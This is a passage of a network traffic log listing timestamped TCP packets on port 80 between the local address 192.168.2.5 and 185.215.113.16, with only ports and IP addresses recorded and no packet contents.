Dec 10, 2024 02:50:50.112134933 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.112168074 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.112835884 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.113070011 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.113111019 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.113682985 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.113722086 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.113919973 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.113960981 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.114590883 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.114631891 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.114656925 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.114690065 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.115511894 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.115523100 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.115554094 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.116259098 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.116816044 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.116861105 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.117100954 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.117141962 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.117242098 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.117284060 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.117927074 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.117968082 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.149940014 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:50.150017023 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:50.265320063 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.265376091 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.265414000 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.265461922 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.265702963 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.265750885 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.265883923 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.265923977 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.266549110 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.266591072 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.266774893 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.266818047 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.267426968 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.267471075 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.267491102 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.267527103 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.268255949 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.268301010 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.268373966 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.268412113 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.269157887 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.269206047 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.269246101 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.269283056 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.269980907 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.270023108 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.270071030 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.270108938 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.270839930 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.270880938 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.270936966 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.270972013 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.271687031 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.271725893 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.271754026 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.271791935 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.272557020 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.272598028 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.272681952 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.272732019 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.273400068 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.273446083 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.273566961 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.273606062 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.274236917 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.274282932 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.274338007 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.274374962 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.275067091 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.275105953 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.275259018 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.275299072 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.276010036 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.276057005 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.276130915 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.276180029 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.276863098 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.276909113 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.276983023 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.277021885 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.277640104 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.277681112 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.277743101 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.277779102 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.278487921 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.278532982 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.278597116 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.278635025 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.279356003 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.279392958 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.279509068 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.279551983 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.280213118 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.280251026 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.280349970 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.280386925 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.281079054 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.281111956 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.281198025 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.281239033 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.282037973 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.282079935 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.282135963 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.282186031 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.282759905 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.282800913 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.282892942 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.282937050 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.283627987 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.283673048 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.283714056 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.283756018 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.284533978 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.284579039 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.284600973 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.284634113 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.285497904 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.285537958 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.285567045 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.285608053 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.286174059 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.286211967 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.286295891 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.286339045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.287051916 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.287091970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.287127972 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.287166119 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.287921906 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.287966967 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.287996054 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.288033009 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.288732052 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.288778067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.288897991 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.288938046 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.289647102 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.289690971 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.289757013 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.289800882 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.290508032 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.290544987 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.290719986 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.290761948 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.291300058 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.291340113 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.291425943 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.291469097 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.292166948 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.292207003 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.292360067 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.292395115 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.293023109 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.293066025 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.293121099 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.293164968 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.293904066 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.293948889 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.293977976 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.294008970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.294718027 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.294764996 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.294909000 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.294951916 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.295581102 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.295627117 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.295744896 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.295785904 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.296456099 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.296503067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.296566963 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.296601057 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.297282934 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.297322989 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.297421932 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.297455072 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.298157930 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.298194885 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.298295021 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.298331976 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.299045086 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.299087048 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.299112082 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.299144983 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.299844027 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.299881935 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.299952984 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.299989939 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.300703049 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.300741911 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.300808907 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.300847054 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.301558971 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.301636934 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.301666975 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.301700115 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.302437067 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.302483082 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.302504063 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.302535057 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.303268909 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.303318024 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.303376913 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.303440094 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.304125071 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.304169893 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.304230928 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.304272890 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.304985046 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.305030107 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.305061102 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.305097103 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.305859089 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.305902958 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.305944920 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.305986881 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.306780100 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.306791067 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.306819916 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.306839943 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.307590961 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.307637930 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.307672024 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.307709932 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.308399916 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.308445930 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.308515072 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.308559895 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.309253931 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.309297085 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.309381008 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.309422970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.310064077 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.310107946 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.457556009 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.457667112 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.457751036 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.457791090 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.457947969 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.457992077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.458074093 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.458112955 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.458803892 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.458843946 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.458906889 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.458952904 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.459645987 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.459690094 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.459759951 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.459803104 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.460582018 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.460627079 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.460689068 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.460721016 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.461405993 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.461451054 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.461479902 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.461517096 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.462234020 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.462279081 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.462310076 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.462347031 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.463093042 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.463136911 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.463196993 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.463242054 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.463938951 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.463979959 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.464056969 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.464096069 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.464796066 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.464845896 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.464909077 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.464956045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.465646029 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.465691090 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.465810061 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.465857029 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.466506004 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.466552019 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.466619015 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.466666937 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.467375040 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.467421055 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.467457056 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.467499971 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.468190908 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.468236923 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.468334913 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.468374014 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.469027996 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.469072104 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.469161034 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.469202995 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.469995022 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.470015049 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.470036030 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.470061064 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.470761061 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.470805883 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.470873117 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.470915079 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.471620083 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.471664906 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.471718073 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.471760035 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.472515106 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.472560883 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.472595930 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.472630024 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.473350048 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.473401070 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.473452091 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.473493099 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.474230051 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.474278927 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.474370003 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.474411964 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.475044966 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.475087881 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.475153923 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.475195885 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.475856066 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.475898027 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.476044893 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.476089001 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.476727962 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.476771116 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.476840019 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.476882935 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.477595091 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:50.477638006 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:50.477724075 CET	80	49798	185.215.113.16	192.168.2.5
